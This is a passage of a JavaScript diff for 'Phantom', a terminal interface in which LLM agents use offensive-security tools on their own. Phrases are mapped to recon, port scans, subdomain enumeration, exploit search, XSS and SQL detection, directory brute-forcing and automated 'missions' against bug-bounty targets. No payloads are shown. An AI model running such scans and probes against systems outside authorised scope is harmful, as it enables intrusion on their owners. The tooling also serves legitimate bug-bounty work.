by)}${borderR}└${"─".repeat(Math.max(0, pW - 2))}┘${R}`; + } + + // agent status indicator + if (agent) { + const statusDot = agent.status === "thinking" ? `${c("yellow")}●${R}` : + agent.status === "speaking" ? `${c("green")}●${R}` : + `${D}○${R}`; + const statusX = x + pW - 3; + out += `${at(statusX, y)}${statusDot}`; + } + } + + // ── Command line ── + if (this.cmdMode) { + const cmdY = termH - 1; + out += `${at(1, cmdY)}${BG("bg")}${c("cyan")}⚡${R} ${this.cmdBuf}${R}`; + out += " ".repeat(Math.max(0, termW - this.cmdBuf.length - 3)); + } else { + const footerY = termH; + out += `${at(1, footerY)}${BG("titleBg")}${D}ESC cmd TAB focus →← panels SPC agents q quit${R}`; + } + + process.stdout.write(out); + } + + async handleCommand(cmd) { + const parts = cmd.trim().split(/\s+/); + const op = parts[0]?.toLowerCase(); + const args = parts.slice(1); + + switch (op) { + case "spawn": + case "s": this.am.spawn(args[0], args[1], args.slice(2).join(" ")); break; + case "list": + case "ls": { + const il = this.am.list; + const msg = `Agents: ${il.map(a => `${a.name}(${a.id})[${a.evolutionLevel}★]`).join(", ")}`; + this.focused < this.panelOrder.length && this.log(this.panelOrder[this.focused], `${c("cyan")}◈${R} ${msg}`); + break; + } + case "broadcast": + case "b": { + const t = args.join(" "); + if (t && this.focused < this.panelOrder.length) this.am.broadcast(this.panelOrder[this.focused], t); + break; + } + case "debate": + case "d": this.am.debate(args.join(" ") || "what should we build?"); break; + case "evolve": + case "e": this.am.evolveAll(); this.logAll(`${c("magenta")}⬆ Mass evolution${R}`); break; + case "clear": + case "c": this.logs.forEach((_, k) => this.logs.set(k, [])); break; + case "kill": { + const target = args[0]; + const agent = this.am.list.find(a => a.name === target || a.id === target); + if (agent) this.am.remove(agent.id); + break; + } + case "help": + case "h": + case "command": { + const helpText = [ + `${B}COMMANDS${R}`, + ` ${c("green")}help${R} / ${c("green")}command${R} ${D}show commands${R}`, + ` ${c("green")}spawn${R} [name] [role] [persona] ${D}create agent${R}`, + ` ${c("green")}list${R} ${D}list agents${R}`, + ` ${c("green")}broadcast${R} ${D}message all agents${R}`, + ` ${c("green")}debate${R} [topic] ${D}agents debate${R}`, + ` ${c("green")}evolve${R} ${D}evolve all agents${R}`, + ` ${c("green")}kill${R} ${D}remove agent${R}`, + ` ${c("green")}clear${R} ${D}clear panels${R}`, + ` ${c("green")}quit${R} ${D}exit${R}`, + ].join("\n"); + if (this.focused < this.panelOrder.length) { + helpText.split("\n").forEach(line => this.log(this.panelOrder[this.focused], line)); + } + break; + } + case "quit": + case "q": this.stop(); break; + default: + if (this.focused < this.panelOrder.length) + this.log(this.panelOrder[this.focused], `${c("red")}?${R} unknown: ${cmd}`); + } + this.render(); + } + + stop() { + this.running = false; + raw(false); + process.stdout.write(cls + home + show); + log.ok(`${c("green")}Phantom terminated.${R}`); + saveSession({ stats: { toolsUsed: Object.keys(hackerTools).length, lastExit: Date.now() } }); + process.exit(0); + } + + // ── Log view (for plugins) ── + start() { + this.am.spawnDefaults(); + + const hasLLM = this.am.llm?.hasLLM; + if (!hasLLM) { + const msg = `${c("yellow")}⚠${R} No LLM configured. Use @llm_config to set up.`; + setTimeout(() => { + this.panelOrder.forEach(id => this.log(id, msg)); + this.render(); + }, 200); + } + + this.render(); + raw(true); + this.setupKeys(); + } + + setupKeys() { + if (!process.stdin.isTTY) return; + process.stdin.on("data", (buf) => { + if (!this.running) return; + const str = buf.toString(); + const { cols, rows } = getSize(); + + if (this.cmdMode) { + if (str === "\x1b" || str === "\x1b[A") { this.cmdMode = false; this.cmdBuf = ""; this.render(); return; } + if (str === "\r" || str === "\n") { + this.cmdMode = false; + const cmd = this.cmdBuf; + this.cmdBuf = ""; + this.render(); + this.handleCommand(cmd); + return; + } + if (str === "\x7f" || str === "\b") { + this.cmdBuf = this.cmdBuf.slice(0, -1); + this.render(); + return; + } + if (str.length === 1 && str.charCodeAt(0) >= 32) { + this.cmdBuf += str; + this.render(); + return; + } + return; + } + + // Not in command mode + if (str === "\x1b") { this.cmdMode = true; this.cmdBuf = ""; this.render(); return; } + if (str === "q" || str === "\x03") { this.stop(); return; } + if (str === "\t") { + const n = this.getPanelCount(); + this.focused = (this.focused + 1) % n; + this.render(); + return; + } + // arrow keys + if (str === "\x1b[C" || str === "\x1bOC") { // right + const n = this.getPanelCount(); + this.focused = (this.focused + 1) % n; + this.render(); + return; + } + if (str === "\x1b[D" || str === "\x1bOD") { // left + const n = this.getPanelCount(); + this.focused = (this.focused - 1 + n) % n; + this.render(); + return; + } + if (str === " ") { + const n = this.getPanelCount(); + this.focused = (this.focused + 1) % n; + this.render(); + return; + } + }); + } +} + +// ── UI: Termux (readline-based) ─────────────────────────── +class TermuxUI { + constructor(am) { + this.am = am; + this.bus = EventBus.i; + this.log = []; + this.running = true; + this.rl = null; + + this.bus.on("agent:spawned", (a) => { + this.w(`${c("green")}◈${R} ${FG(...a.color)}${B}${a.name}${R} spawned [${D}${a.role}${R}]`); + this.draw(); + }); + this.bus.on("agent:msg", ({ agent, text }) => { + this.w(`${agentFg(agent.color)}${agent.name}${R} ${D}»${R} ${text}`); + this.draw(); + }); + this.bus.on("agent:evolved", ({ agent, level }) => { + this.w(`${c("magenta")}⬆${R} ${B}${agent.name}${R} → level ${level}`); + this.draw(); + }); + this.bus.on("agent:removed", (id) => { + this.w(`${c("red")}✕${R} Agent ${D}${id}${R} removed`); + this.draw(); + }); + } + + w(msg) { this.log.push(msg); if (this.log.length > 200) this.log.shift(); } + + draw() { + if (!this.running) return; + const { rows, cols } = getSize(); + // Count lines from the end, accounting for multi-line entries + const available = rows - 4; + const visible = []; + let lineCount = 0; + for (let i = this.log.length - 1; i >= 0 && lineCount < available; i--) { + const entry = this.log[i]; + const entryLines = entry ? Math.max(1, Math.ceil(entry.replace(/\x1b\[[0-9;]*[mK]/g, '').split("\n").reduce((n, l) => n + Math.max(1, Math.ceil(l.length / Math.max(cols, 1))), 0))) : 1; + if (lineCount + entryLines <= available || visible.length === 0) { + visible.unshift(entry); + lineCount += entryLines; + } else break; + } + process.stdout.write(home + cls); + visible.forEach(l => process.stdout.write(l + "\n")); + } + + async handleCommand(cmd) { + const parts = cmd.trim().split(/\s+/); + const op = parts[0]?.toLowerCase(); + const args = parts.slice(1); + + switch (op) { + case "spawn": case "s": this.am.spawn(args[0], args[1], args.slice(2).join(" ")); break; + case "list": case "ls": { + this.w(`${c("cyan")}◈${R} Agents: ${this.am.list.map(a => `${a.name}(${a.id}) ★${a.evolutionLevel}`).join(", ")}`); + break; + } + case "broadcast": case "b": { + const f = this.am.list[0]?.id; + if (f) this.am.broadcast(f, args.join(" ")); + break; + } + case "debate": case "d": this.am.debate(args.join(" ") || "what should we build?"); break; + case "evolve": case "e": this.am.evolveAll(); this.w(`${c("magenta")}⬆ Mass evolution${R}`); break; + case "clear": case "c": this.log = []; break; + case "help": case "h": case "command": { + this.w(`${B}COMMANDS${R}`); + this.w(` ${c("green")}help${R} | ${c("green")}command${R} ${D}show commands${R}`); + this.w(` ${c("green")}spawn${R} [name] [role] [persona] ${D}create agent${R}`); + this.w(` ${c("green")}list${R} ${D}list agents${R}`); + this.w(` ${c("green")}broadcast${R} ${D}message all${R}`); + this.w(` ${c("green")}debate${R} [topic] ${D}agents debate${R}`); + this.w(` ${c("green")}evolve${R} ${D}evolve all${R}`); + this.w(` ${c("green")}kill${R} ${D}remove agent${R}`); + this.w(` ${c("green")}clear${R} ${D}clear screen${R}`); + this.w(` ${c("green")}quit${R} ${D}exit${R}`); + break; + } + case "kill": { + const t = args[0]; + const a = this.am.list.find(x => x.name === t || x.id === t); + if (a) this.am.remove(a.id); + break; + } + case "quit": case "q": this.stop(); return; + } + this.draw(); + this.prompt(); + } + + prompt() { + if (!this.running) return; + const rl = readline.createInterface({ + input: process.stdin, + output: process.stdout, + terminal: true, + completer: (line) => { + const clean = line.replace(/^@/, "").toLowerCase(); + const hits = Object.entries(hackerTools) + .filter(([t]) => t.startsWith(clean)) + .map(([t, fn]) => { + const desc = (typeof fn === 'object' && fn.description) || ''; + return desc ? `@${t}| (${desc.substring(0, 40)})` : `@${t}|`; + }); + return [hits.length ? hits : [], line]; + } + }); + rl.question(`${c("cyan")}⚡${R} `, (ans) => { + rl.close(); + if (ans.trim()) this.handleCommand(ans.trim()); + else { this.draw(); this.prompt(); } + }); + } + + stop() { + this.running = false; + log.ok(`\n${c("green")}Phantom terminated.${R}`); + saveSession({ stats: { toolsUsed: Object.keys(hackerTools).length, lastExit: Date.now() } }); + process.exit(0); + } + + start() { + process.stdout.write(cls + home); + const toolCount = Object.keys(hackerTools).length; + const isWide = process.stdout.columns >= 100; + log.art(renderLogo({ wide: isWide, tools: toolCount })); + + this.am.spawnDefaults(); + + if (!this.am.llm?.hasLLM) { + this.w(`${c("yellow")}⚠${R} No LLM. Set ${B}OPENAI_API_KEY${R} env var for AI responses.`); + } + + this.draw(); + this.prompt(); + } +} + +// ── UI: Minimal (for tiny screens, CI, pipes) ───────────── +class MinimalUI { + constructor(am) { + this.am = am; + this.bus = EventBus.i; + this.log = []; + this.running = true; + this.bus.on("agent:msg", ({ agent, text }) => { + this.w(`${agentFg(agent.color)}${agent.name}${R} » ${text}`); + this.flush(); + }); + this.bus.on("agent:spawned", (a) => { + this.w(`${a.name} spawned [${a.role}]`); + this.flush(); + }); + this.bus.on("agent:evolved", ({ agent, level }) => { + this.w(`${agent.name} → level ${level}`); + this.flush(); + }); + this.bus.on("agent:removed", (id) => { + this.w(`Agent ${id} removed`); + this.flush(); + }); + } + w(msg) { this.log.push(msg); if (this.log.length > 100) this.log.shift(); } + flush() { if (this.log.length > 0) console.log(this.log[this.log.length - 1]); } + + // Natural language parser for MinimalUI (maps common phrases to tool calls) + async parseNaturalLanguage(input) { + const text = input.trim().toLowerCase(); + + // Mission/task commands + if (text.includes("task") || text.includes("list tasks")) { + return "command"; // Will show command help + } + if (text.startsWith("run ") || text.startsWith("execute ")) { + const taskPart = text.replace(/^(run|execute)\s+/, ""); + return `run ${taskPart}`; + } + + // Subdomain enumeration (standalone, before recon check) + if (text.startsWith("subdomain ") || text.startsWith("subdomains ")) { + const target = text.replace("subdomain ", "").replace("subdomains ", "").trim(); + return hackerTools.sub_enum(target); + } + + // HackerOne / Bugcrowd / Bug Bounty + if (text.includes("hackerone") || text.includes("bugcrowd") || text.includes("bug bounty") || text.includes("bugbounty")) { + // Unified bugbounty tool + if (text.includes("bugcrowd") || text.includes("bugbounty")) { + if (text.includes("program")) return hackerTools.bugbounty("bugcrowd programs"); + if (text.includes("scope")) { + const match = text.match(/(?:scope|targets?)\s+(\S+)/); + return match ? hackerTools.bugbounty(`bugcrowd scope ${match[1]}`) : "Usage: bugcrowd scope "; + } + if (text.includes("submission")) return hackerTools.bugbounty("bugcrowd submissions"); + return hackerTools.bugbounty("bugcrowd programs"); + } + // HackerOne specific + if (text.includes("program")) return hackerTools.hackerone("programs"); + if (text.includes("scope")) { + const match = text.match(/scope\s+(\S+)/); + return match ? hackerTools.hackerone(`scope ${match[1]}`) : "Usage: hackerone scope "; + } + if (text.includes("report")) return hackerTools.hackerone("reports"); + return hackerTools.hackerone("programs"); + } + + // Recon + if (text.includes("recon") || text.includes("scan") || text.includes("enumerate")) { + const targetMatch = text.match(/(?:recon|scan|enumerate)\s+(\S+)/) || text.match(/(\S+\.\S+)/); + const target = targetMatch?.[1] || ""; + if (target) { + if (text.includes("subdomain")) return hackerTools.sub_enum(target); + if (text.includes("dns")) return hackerTools.dns_lookup(target); + if (text.includes("http") || text.includes("header")) return hackerTools.http_headers(target); + if (text.includes("port")) return hackerTools.port_scan(target); + if (text.includes("ssl")) return hackerTools.ssl_check(target); + if (text.includes("whois")) return hackerTools.whois(target); + return hackerTools.recon(target); + } + return "Please specify a target domain (e.g., 'recon example.com')"; + } + + // Network tools + if (text.includes("port scan") || text.includes("portscan")) { + const targetMatch = text.match(/(\S+\.\S+)/); + return targetMatch ? hackerTools.port_scan(targetMatch[1]) : "Usage: port scan "; + } + if (text.includes("ssl") || text.includes("cert")) { + const targetMatch = text.match(/(\S+\.\S+)/); + return targetMatch ? hackerTools.ssl_check(targetMatch[1]) : "Usage: ssl check "; + } + if (text.includes("whois")) { + const targetMatch = text.match(/(\S+\.\S+)/); + return targetMatch ? hackerTools.whois(targetMatch[1]) : "Usage: whois "; + } + + // Vulnerability + if (text.includes("cve")) { + const query = text.replace(/cve\s+/, ""); + return query ? hackerTools.cve_search(query) : "Usage: cve "; + } + if (text.includes("exploit")) { + const query = text.replace(/exploit\s+/, ""); + return query ? hackerTools.searchsploit(query) : "Usage: exploit "; + } + + // Web + if (text.includes("crawl")) { + const targetMatch = text.match(/(\S+\.\S+)/); + return targetMatch ? hackerTools.crawl(targetMatch[1]) : "Usage: crawl "; + } + if (text.includes("tech") || text.includes("whatweb")) { + const targetMatch = text.match(/(\S+\.\S+)/); + return targetMatch ? hackerTools.whatweb(targetMatch[1]) : "Usage: tech detect "; + } + + // Mission auto + if (text.includes("auto") && text.includes("mission")) { + const match = text.match(/mission\s+(\S+)/); + return match ? hackerTools.mission(`auto ${match[1]}`) : "Usage: mission auto "; + } + + // OSINT + if (text.includes("dns enum") || text.includes("dns enumeration")) { + const targetMatch = text.match(/(\S+\.\S+)/); + return targetMatch ? hackerTools.sub_enum(targetMatch[1]) : "Usage: dns enum "; + } + + return null; // No match + } + + start() { + const toolCount = Object.keys(hackerTools).length; + const isWide = process.stdout.columns >= 100; + log.art(renderLogo({ wide: isWide, tools: toolCount })); + + this.am.spawnDefaults(); + if (!this.am.llm?.hasLLM) console.log(`${D}No LLM. Use @llm_config to set up a provider.${R}`); + if (!ENV.interactive) { + // Non-interactive: process piped stdin commands then exit + const rl = readline.createInterface({ + input: process.stdin, + terminal: false, + }); + let hasInput = false; + rl.on('line', (line) => { + hasInput = true; + if (line.trim()) this.handleCommand(line.trim()); + }); + rl.on('close', () => { + if (!hasInput) process.exit(0); + }); + } else { + this.prompt(); + } + } + prompt() { + if (!this.running) return; + const rl = readline.createInterface({ + input: process.stdin, + output: process.stdout, + terminal: true, + completer: (line) => { + const clean = line.replace(/^@/, "").toLowerCase(); + const hits = Object.entries(hackerTools) + .filter(([t]) => t.startsWith(clean)) + .map(([t, fn]) => { + const desc = (typeof fn === 'object' && fn.description) || ''; + return desc ? `@${t}| (${desc.substring(0, 40)})` : `@${t}|`; + }); + return [hits.length ? hits : [], line]; + } + }); + rl.question(`${c("cyan")}⚡${R} `, (ans) => { + rl.close(); + if (ans.trim()) this.handleCommand(ans.trim()); + else this.prompt(); + }); + } + async handleCommand(cmd) { + const p = cmd.trim().split(/\s+/); + const op = p[0]?.toLowerCase(), args = p.slice(1); + switch (op) { + case "spawn": case "s": this.am.spawn(args[0], args[1], args.slice(2).join(" ")); break; + case "list": case "ls": log.info(`Agents: ${this.am.list.map(a => `${a.name}[${this.am.agents.get(a.id).status}]`).join(", ")}`); break; + case "broadcast": case "b": { const f = this.am.list[0]?.id; if (f) this.am.broadcast(f, args.join(" ")); break; } + case "debate": case "d": this.am.debate(args.join(" ") || "what should we build?"); break; + case "evolve": case "e": this.am.evolveAll(); break; + case "clear": case "c": this.log = []; break; + case "quit": case "exit": case "q": this.running = false; log.ok("Bye."); process.exit(0); + case "tools": + const names = Object.keys(hackerTools).sort(); + log.art(`\n${B}${c("green")}PHANTOM TOOLS (${names.length})${R}`); + for (let i = 0; i < names.length; i += 4) console.log(` ${names.slice(i, i + 4).map(n => `${c("cyan")}${n.padEnd(20)}${R}`).join("")}`); + console.log(""); + break; + case "command": + console.log(`\n${B}${c("green")}PHANTOM TASKS${R}`); + console.log(`${D}Core commands:${R}`); + console.log(` ${c("green")}help${R} / ${c("green")}?${R} / ${c("green")}command${R} — show this help`); + console.log(` ${c("green")}tools${R} — list all ${Object.keys(hackerTools).length} tools`); + console.log(` ${c("green")}clear${R} / ${c("green")}cls${R} — clear screen`); + console.log(` ${c("green")}quit${R} / ${c("green")}exit${R} — exit Phantom`); + console.log(`\n${D}Type naturally (e.g. "hackerone programs", "recon example.com")${R}\n`); + break; + case "help": case "h": case "?": + console.log(`\n${B}${c("green")}PHANTOM COMMANDS${R}`); + console.log(` ${c("green")} /help${R} — show this help\n ${c("green")} /command${R} — list all commands`); + console.log(` ${c("green")} /tools${R} — list ${Object.keys(hackerTools).length} tools`); + console.log(` ${c("green")} /gui${R} — start web dashboard (port 8080)`); + console.log(` ${c("green")} /api${R} — start REST API (port 9090)`); + console.log(` ${c("green")} /model${R} — show/switch LLM`); + console.log(` ${c("green")} /clear${R} — clear screen\n ${c("green")} /stop${R} — cancel current operation`); + console.log(` ${c("green")} /queue${R} — show queued inputs\n ${c("green")} /flushqueue${R} — clear all queued inputs`); + console.log(` ${c("green")} /delegate${R} — delegate task to agent\n ${c("green")} /talk${R} — talk directly to an agent`); + console.log(` ${c("green")} /agents${R} — list team with status\n ${c("green")} /save${R} — save session`); + console.log(` ${c("green")} /load${R} — load session\n ${c("green")} /quit${R} — exit\n`); + console.log(`${D}Type anything to chat. Use \\ for multi-line.${R}`); + console.log(`${D}The AI auto-uses tools via @tool_name|args syntax.${R}`); + console.log(`${D}@pipe${R} — chain tools: @pipe|subfinder|example.com|httpx`); + console.log(`${D}@schedule${R} — scheduled scans: @schedule|daily|recon|target`); + console.log(`${D}@scope${R} — manage targets: @scope|add|example.com`); + console.log(`${D}@workspace_write${R} — save findings: @workspace_write|key|value`); + console.log(`${D}@self_evolve${R} — run auto-evolution pipeline`); + console.log(`${D}@self_evolve|status${R} — show evolution state`); + console.log(`${D}TAB${R} — cycle suggestions, autocomplete @tool`); + console.log(`${D}↑↓${R} — navigate suggestions / history`); + console.log(`${D}↩${R} — accept highlighted suggestion`); + console.log(`${D}ESC${R} — dismiss suggestions`); + console.log(`${D}--quiet${R} — suppress banner/status (env: PHANTOM_QUIET)\n`); + break; + default: + // Try natural language parsing for unrecognized commands + const nlResult = await this.parseNaturalLanguage(cmd); + if (nlResult) { + if (typeof nlResult === "string" && (nlResult.startsWith("hackerone") || nlResult.startsWith("bugcrowd") || nlResult.startsWith("bugbounty") || nlResult.startsWith("recon ") || nlResult.startsWith("port_scan") || nlResult.startsWith("ssl_check") || nlResult.startsWith("whois") || nlResult.startsWith("cve_search") || nlResult.startsWith("searchsploit") || nlResult.startsWith("crawl") || nlResult.startsWith("whatweb") || nlResult.startsWith("mission auto") || nlResult.startsWith("dns_lookup") || nlResult.startsWith("sub_enum") || nlResult.startsWith("hash ") || nlResult.startsWith("decode ") || nlResult.startsWith("wayback") || nlResult.startsWith("cert_expiry") || nlResult.startsWith("http_headers") || nlResult.startsWith("dir_bruteforce") || nlResult.startsWith("xss_scan") || nlResult.startsWith("sql_detect") || nlResult.startsWith("open_redirect") || nlResult.startsWith("shodan_search") || nlResult.startsWith("email_breach") || nlResult.startsWith("github_dork"))) { + console.log(nlResult); + } else if (typeof nlResult === "string" && nlResult.startsWith("run ")) { + const result = this.runMissionTask(nlResult.slice(4).trim()); + console.log(result); + } else if (nlResult === "command") { + console.log(`\n${B}${c("green")}PHANTOM TASKS${R}`); + console.log(`${D}Core commands:${R}`); + console.log(` ${c("green")}help${R} / ${c("green")}?${R} / ${c("green")}command${R} — show this help`); + console.log(` ${c("green")}tools${R} — list all ${Object.keys(hackerTools).length} tools`); + console.log(` ${c("green")}clear${R} / ${c("green")}cls${R} — clear screen`); + console.log(` ${c("green")}quit${R} / ${c("green")}exit${R} — exit Phantom`); + console.log(`\n${D}Type naturally (e.g. "hackerone programs", "recon example.com")${R}\n`); + } else { + console.log(nlResult); + } + } else { + console.log(`? ${cmd}`); + } + } + if (this.running) this.prompt(); + } + } + +// ── UI: Conversational REPL (Claude Code / Hermes style) ── +class ConversationalUI { + constructor(am) { + this.am = am; + this.bus = EventBus.i; + this.llm = am.llm; + globalThis.__phantomManager = am; + this.running = true; + this.agent = null; + this.conversation = []; + this.logLines = []; + this.inputBuf = ""; + this.inputHistory = []; + this.historyIdx = 0; + this.cursorPos = 0; + this.inputLines = []; + this.inputHandler = null; + this.promptQueue = []; // inputs queued while agent is busy + this._busy = false; // agent is processing + this._queueBuf = ""; // partial input during busy mode + this._queueHandler = null; // stdin listener during busy mode + // ── Session stats ── + this.startTime = Date.now(); + this.lastResponseTime = null; + this.responseCount = 0; + this.tokensUsed = 0; // estimated + this.compressions = 0; + this._toolCallCounter = 0; // total tool calls this session + this._growFacts = 0; // auto-extracted facts this session + this._growCycle = 0; // grow cycles completed + // ── Evolution XP ── + this.evolutionXP = 0; + this.evolutionMaxXP = 100; + // ── Suggestion engine ── + this.suggestions = []; // current list of matching suggestions + this.selSuggestion = -1; // -1 = none selected, 0+ = index into suggestions + this.suggestionActive = false; // whether suggestion bar is visible + this._suggestionBarHeight = 0; // lines drawn for suggestion bar (for cleanup) + // Build command list once + this._commandList = [ + ["help", "show this help"], + ["h", "alias for help"], + ["command", "list all commands"], + ["tools", "list all tools"], + ["gui", "start web dashboard (port 8080)"], + ["dashboard", "alias for gui"], + ["api", "start REST API server (port 9090)"], + ["rest", "alias for api"], + ["model", "show/switch LLM provider"], + ["clear", "clear screen"], + ["c", "alias for clear"], + ["delegate", "delegate task to agent"], + ["del", "alias for delegate"], + ["talk", "talk directly to an agent"], + ["t", "alias for talk"], + ["agents", "list team with status"], + ["save", "save session"], + ["load", "load session"], + ["quit", "exit Phantom"], + ["q", "alias for quit"], + ["exit", "alias for quit"], + ]; + + // ── TUI init ── + this.tui = new TUI({ onExit: () => { this.running = false; try { raw(false); } catch {} } }); + // Route console.log through TUI when active (auto-redraws input bar after each write) + const _origLog = console.log.bind(console); + const _self = this; + console.log = function(...args) { + const text = args.map(a => typeof a === "string" ? a : String(a)).join(" "); + if (_self.tui?.active) { _self.tui.log(text); } + else { _origLog(text); } + }; + } + + log(msg) { this.logLines.push(msg); if (this.logLines.length > 1000) this.logLines.shift(); } + + // ── Suggestion Engine ──────────────────────────────────── + _getToolNameList() { + // Return tool names with descriptions, using this.agent?.tools or hackerTools + const src = this.agent?.tools || {}; + if (Object.keys(src).length === 0) { + return Object.entries(hackerTools).map(([n, fn]) => [n, (typeof fn === 'object' && fn.description) || '']); + } + return Object.entries(src).map(([n, t]) => [n, t.description || '']); + } + + // ─── NATURAL LANGUAGE PARSER (works without LLM) ─── + parseNaturalLanguage(input) { + const text = input.trim().toLowerCase(); + + // Mission/task commands + if (text.includes("task") || text.includes("list tasks")) { + return this.runMissionTasks(); + } + if (text.startsWith("run ") || text.startsWith("execute ")) { + const taskPart = text.replace(/^(run|execute)\s+/, ""); + return this.runMissionTask(taskPart); + } + + // HackerOne / Bugcrowd / Bug Bounty + if (text.includes("hackerone") || text.includes("bugcrowd") || text.includes("bug bounty") || text.includes("bugbounty")) { + // Unified bugbounty tool + if (text.includes("bugcrowd") || text.includes("bugbounty")) { + if (text.includes("program")) return hackerTools.bugbounty("bugcrowd programs"); + if (text.includes("scope")) { + const match = text.match(/(?:scope|targets?)\s+(\S+)/); + return match ? hackerTools.bugbounty(`bugcrowd scope ${match[1]}`) : "Usage: bugcrowd scope "; + } + if (text.includes("submission")) return hackerTools.bugbounty("bugcrowd submissions"); + return hackerTools.bugbounty("bugcrowd programs"); + } + // HackerOne specific + if (text.includes("program")) return hackerTools.hackerone("programs"); + if (text.includes("scope")) { + const match = text.match(/scope\s+(\S+)/); + return match ? hackerTools.hackerone(`scope ${match[1]}`) : "Usage: hackerone scope "; + } + if (text.includes("report")) return hackerTools.hackerone("reports"); + return hackerTools.hackerone("programs"); + } + + // Recon + if (text.includes("recon") || text.includes("scan") || text.includes("enumerate")) { + const targetMatch = text.match(/(?:recon|scan|enumerate)\s+(\S+)/) || text.match(/(\S+\.\S+)/); + const target = targetMatch?.[1] || ""; + if (target) { + if (text.includes("subdomain")) return hackerTools.sub_enum(target); + if (text.includes("dns")) return hackerTools.dns_lookup(target); + if (text.includes("http") || text.includes("header")) return hackerTools.http_headers(target); + if (text.includes("port")) return hackerTools.port_scan(target); + if (text.includes("ssl")) return hackerTools.ssl_check(target); + if (text.includes("whois")) return hackerTools.whois(target); + return hackerTools.recon(target); + } + return "Please specify a target domain (e.g., 'recon example.com')"; + } + + // Network tools + if (text.includes("port scan") || text.includes("portscan")) { + const targetMatch = text.match(/(\S+\.\S+)/); + return targetMatch ? hackerTools.port_scan(targetMatch[1]) : "Usage: port scan "; + } + if (text.includes("ssl") || text.includes("cert")) { + const targetMatch = text.match(/(\S+\.\S+)/); + return targetMatch ? hackerTools.ssl_check(targetMatch[1]) : "Usage: ssl check "; + } + if (text.includes("whois")) { + const targetMatch = text.match(/(\S+\.\S+)/); + return targetMatch ? hackerTools.whois(targetMatch[1]) : "Usage: whois "; + } + + // Vulnerability + if (text.includes("cve")) { + const query = text.replace(/cve\s+/, ""); + return query ? hackerTools.cve_search(query) : "Usage: cve "; + } + if (text.includes("exploit")) { + const query = text.replace(/exploit\s+/, ""); + return query ? hackerTools.searchsploit(query) : "Usage: exploit "; + } + + // Web + if (text.includes("crawl")) { + const targetMatch = text.match(/(\S+\.\S+)/); + return targetMatch ? hackerTools.crawl(targetMatch[1]) : "Usage: crawl "; + } + if (text.includes("tech") || text.includes("whatweb")) { + const targetMatch = text.match(/(\S+\.\S+)/); + return targetMatch ? hackerTools.whatweb(targetMatch[1]) : "Usage: tech detect "; + } + + // Mission auto + if (text.includes("auto") && text.includes("mission")) { + const match = text.match(/mission\s+(\S+)/); + return match ? hackerTools.mission(`auto ${match[1]}`) : "Usage: mission auto "; + } + + // OSINT + if (text.includes("dns enum") || text.includes("dns enumeration")) { + const targetMatch = text.match(/(\S+\.\S+)/); + return targetMatch ? hackerTools.sub_enum(targetMatch[1]) : "Usage: dns enum "; + } + + return null; // No match - let LLM handle + } + + updateSuggestions() { + const buf = this.inputBuf; + this.suggestions = []; + this.selSuggestion = -1; + + if (!buf || buf.length === 0) { + // Empty input: show recently used tools (from inputHistory) + this.suggestionActive = false; + return; + } + + // ── Mode detection ── + const lastSegment = buf.split(/[\s|]/).pop() || ""; + const startsAt = buf.endsWith(" ") || buf.endsWith("|") ? "" : lastSegment; + + // ── @tool completion ── + const atMatch = buf.match(/@([\w-]*)$/); + if (atMatch) { + const prefix = atMatch[1].toLowerCase(); + const tools = this._getToolNameList(); + this.suggestions = tools + .filter(([n]) => n.startsWith(prefix) && n !== prefix) + .map(([n, d]) => ({ label: `@${n}|`, desc: d.substring(0, 50) })) + .slice(0, 12); + this.suggestionActive = this.suggestions.length > 0; + if (this.suggestions.length === 1) this.selSuggestion = 0; + return; + } + + // ── /command completion ── + const cmdMatch = buf.match(/^\/([\w]*)$/); + if (cmdMatch) { + const prefix = cmdMatch[1].toLowerCase(); + this.suggestions = this._commandList + .filter(([n]) => n.startsWith(prefix) && n !== prefix) + .map(([n, d]) => ({ label: `/${n} `, desc: d })) + .slice(0, 12); + this.suggestionActive = this.suggestions.length > 0; + if (this.suggestions.length === 1) this.selSuggestion = 0; + return; + } + + // ── Tool name completion (no @ prefix) ── + // Match by prefix, substring, or description keyword + const toolNames = this._getToolNameList(); + const bareMatch = toolNames.filter(([n, d]) => { + if (n.startsWith(startsAt) && startsAt.length >= 2) return true; + if (startsAt.length >= 3 && n.includes(startsAt)) return true; + if (startsAt.length >= 4 && d.toLowerCase().includes(startsAt)) return true; + return false; + }).slice(0, 8); + if (bareMatch.length > 0 && bareMatch.length <= 10) { + this.suggestions = bareMatch + .map(([n, d]) => ({ label: `@${n}|`, desc: d.substring(0, 50) })) + .slice(0, 8); + this.suggestionActive = true; + if (this.suggestions.length === 1) this.selSuggestion = 0; + return; + } + + // ── Pipe / sub-command hints ── + if (buf.includes(" | ") || buf.endsWith("|")) { + const tools = this._getToolNameList(); + this.suggestions = tools + .filter(([n, d]) => d.toLowerCase().includes("recon") || d.toLowerCase().includes("scan") || d.toLowerCase().includes("search")) + .map(([n, d]) => ({ label: `@${n}|`, desc: d.substring(0, 50) })) + .slice(0, 5); + this.suggestionActive = this.suggestions.length > 0; + return; + } + + this.suggestionActive = false; + } + + // ── Natural Language Parser ───────────────────────────────── + // Maps common phrases to existing tool/command calls + parseNaturalLanguage(input) { + const lower = input.trim().toLowerCase(); + + // List tasks / show tasks + if (lower === "list tasks" || lower === "show tasks" || lower === "tasks") { + return "/command"; // Special command that will list tasks + } + + // Run task aliases + if (lower.startsWith("run ")) { + const task = lower.slice(4).trim(); + if (task.startsWith("h1:") || task.startsWith("hackerone")) return `hackerone programs`; + if (task.startsWith("recon:") || task.startsWith("recon ")) return `recon ${task.replace("recon:", "").replace("recon ", "").trim()}`; + if (task.startsWith("net:") || task.startsWith("port scan")) return `port_scan ${task.replace("net:", "").replace("port scan", "").trim()}`; + if (task.startsWith("vuln:") || task.startsWith("cve ")) return `cve_search ${task.replace("vuln:", "").replace("cve ", "").trim()}`; + } + + // Direct hackerone commands + if (lower.startsWith("hackerone ")) { + const sub = lower.slice(10).trim(); + if (sub === "programs" || sub === "list") return "hackerone programs"; + if (sub.startsWith("scope ")) return `hackerone scope ${sub.slice(6).trim()}`; + if (sub.startsWith("reports ")) return `hackerone reports ${sub.slice(8).trim()}`; + if (sub.startsWith("report ")) return `hackerone report ${sub.slice(7).trim()}`; + if (sub === "me" || sub === "whoami") return "hackerone me"; + if (sub === "test" || sub === "auth") return "hackerone test"; + } + + // Direct recon commands + if (lower.startsWith("recon ")) { + const target = lower.slice(6).trim(); + return `recon ${target}`; + } + if (lower.startsWith("recon subdomain ")) { + const target = lower.slice(16).trim(); + return `sub_enum ${target}`; + } + + // Port scan + if (lower.startsWith("port scan ")) { + const target = lower.slice(10).trim(); + return `port_scan ${target}`; + } + if (lower.startsWith("scan ")) { + const 